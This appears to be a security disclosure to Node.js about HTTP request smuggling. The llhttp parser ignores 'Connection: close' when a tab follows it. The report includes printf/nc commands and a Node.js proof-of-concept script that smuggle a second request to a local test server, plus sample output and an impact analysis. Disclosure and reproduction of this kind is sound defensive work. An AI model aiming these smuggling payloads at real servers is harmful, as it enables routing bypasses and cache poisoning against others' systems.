Node.js · Report #3723248
HTTP Request Smuggling via Connection: close<TAB> in Node.js llhttp parser
How it was found
Summary: Node's HTTP server ignores Connection: close when the token is followed by a tab character, so bytes after the request body can be parsed as a second request on the same connection.
Description: I found a parsing difference in Node's HTTP/1 handling for the Connection header.
Connection: close works as expected: after the request body, Node does not accept another request on that connection. Connection: close with a trailing space also works as expected.
But Connection: close\t behaves differently. Node does not apply the close connection option, keeps the connection alive, and parses the bytes immediately after the first request body as another HTTP request. In my test, a single TCP write containing a POST followed by GET /smuggled results in the application receiving two request events.
This looks like it comes from llhttp's Connection token parser. After recognizing close, the parser accepts comma, space, CR, and LF, but not HTAB. The HTAB path falls back in a way that drops the pending CONNECTION_CLOSE state.
This looks like it comes from llhttp’s Connection token parser. After recognizing close, the parser accepts comma, space, CR, and LF, but not HTAB. The HTAB path falls back in a way that drops the pending CONNECTION_CLOSE state.
Although the root cause appears to be in llhttp, this report is for Node.js because the behavior is reachable through Node's default http.createServer() API with attacker-controlled inbound network data.
Relevant code:
- https://github.com/nodejs/llhttp/blob/main/src/llhttp/http.ts#L794-L826
- https://github.com/nodejs/llhttp/blob/main/src/native/http.c#L156-L169
Steps To Reproduce
I reproduced this with Node.js v24.13.1, v24.15.0, and v26.1.0 using default http.createServer() settings.
Manual Reproduction Without Script
Terminal 1: start a default Node HTTP server.
node -e "require('http').createServer((req,res)=>{console.log('request:', req.url); req.resume(); res.end('ok');}).listen(8080,'127.0.0.1',()=>console.log('listening'))"
Terminal 2: send the control case with normal Connection: close.
printf 'POST /first HTTP/1.1\r\nHost: victim\r\nContent-Length: 4\r\nConnection: close\r\n\r\n1234GET /smuggled HTTP/1.1\r\nHost: victim\r\n\r\n' | nc -w 2 127.0.0.1 8080
Expected server output in Terminal 1:
request: /first
Terminal 2: send the second control case with Connection: close and a trailing space.
printf 'POST /first HTTP/1.1\r\nHost: victim\r\nContent-Length: 4\r\nConnection: close \r\n\r\n1234GET /smuggled HTTP/1.1\r\nHost: victim\r\n\r\n' | nc -w 2 127.0.0.1 8080
Expected server output in Terminal 1:
request: /first
Terminal 2: send the vulnerable case with a tab after close.
printf 'POST /first HTTP/1.1\r\nHost: victim\r\nContent-Length: 4\r\nConnection: close\t\r\n\r\n1234GET /smuggled HTTP/1.1\r\nHost: victim\r\n\r\n' | nc -w 2 127.0.0.1 8080
Unexpected server output in Terminal 1:
request: /first
request: /smuggled
The only difference is Connection: close versus Connection: close\t. I tested this manual reproduction with WSL nc against Node.js v24.15.0 and v26.1.0.
Optional Script Reproduction
Save this as node_connection_close_tab_e2e.js.
const http = require('http');
const net = require('net');
const cases = [
['normal-close', 'Connection: close\r\n'],
['space-after-close', 'Connection: close \r\n'],
['tab-after-close', 'Connection: close\t\r\n'],
];
function sendRaw(port, connectionLine, expectedResponses) {
return new Promise((resolve) => {
const socket = net.createConnection({ port, host: '127.0.0.1' });
let data = '';
let settled = false;
function finish() {
if (settled) return;
settled = true;
socket.destroy();
resolve(data);
}
socket.on('data', (chunk) => {
data += chunk.toString('latin1');
const count = [...data.matchAll(/HTTP\/1\.1 \d+/g)].length;
if (count >= expectedResponses) {
finish();
}
});
socket.on('close', finish);
socket.on('connect', () => {
socket.write(
'POST /first HTTP/1.1\r\n' +
'Host: victim\r\n' +
'Content-Length: 4\r\n' +
connectionLine +
'\r\n' +
'1234' +
'GET /smuggled HTTP/1.1\r\n' +
'Host: victim\r\n' +
'\r\n',
'latin1',
);
});
});
}
async function runCase(name, connectionLine) {
const seen = [];
const server = http.createServer((req, res) => {
seen.push(req.url);
req.resume();
res.end('ok');
});
await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const port = server.address().port;
const expectedResponses = name === 'tab-after-close' ? 2 : 1;
const response = await sendRaw(port, connectionLine, expectedResponses);
await new Promise((resolve) => server.close(resolve));
console.log(`CASE ${name}`);
console.log(` seen=${JSON.stringify(seen)}`);
console.log(` response_statuses=${JSON.stringify([...response.matchAll(/HTTP\/1\.1 (\d+)/g)].map((m) => m[1]))}`);
}
(async () => {
for (const [name, connectionLine] of cases) {
await runCase(name, connectionLine);
}
})().catch((err) => {
console.error(err);
process.exitCode = 1;
});
Run it:
node node_connection_close_tab_e2e.js
Output:
CASE normal-close
seen=["/first"]
response_statuses=["200"]
CASE space-after-close
seen=["/first"]
response_statuses=["200"]
CASE tab-after-close
seen=["/first","/smuggled"]
response_statuses=["200","200"]
The only difference between the safe case and the unsafe case is the trailing tab after close.
Supporting Material/References
- RFC 9110 defines optional whitespace as
SP / HTAB: https://www.rfc-editor.org/rfc/rfc9110#section-5.6.3 - RFC 9110
Connectionheader: https://www.rfc-editor.org/rfc/rfc9110#section-7.6.1
Impact
A remote unauthenticated client can send one TCP payload that Node exposes to the application as two HTTP requests, even though the first request uses Connection: close. In other words, the attacker can inject an extra request into a connection that should have been closed after the first request.
This can break assumptions in servers, reverse proxies, and gateways that rely on Connection: close to delimit a connection after a request. In a multi-hop setup, a frontend or peer that treats Connection: close<TAB> as Connection: close can become desynchronized from Node, while Node continues parsing the attacker-controlled trailing bytes as a new request.
The practical impact is HTTP request smuggling / request queue desynchronization. Depending on deployment, this can lead to routing bypasses, cache poisoning, or the injected request being processed under connection-level assumptions that were intended only for the previous request. I have not assumed a specific proxy product or application authorization bug; the PoC demonstrates the underlying Node HTTP parser behavior needed for such chains.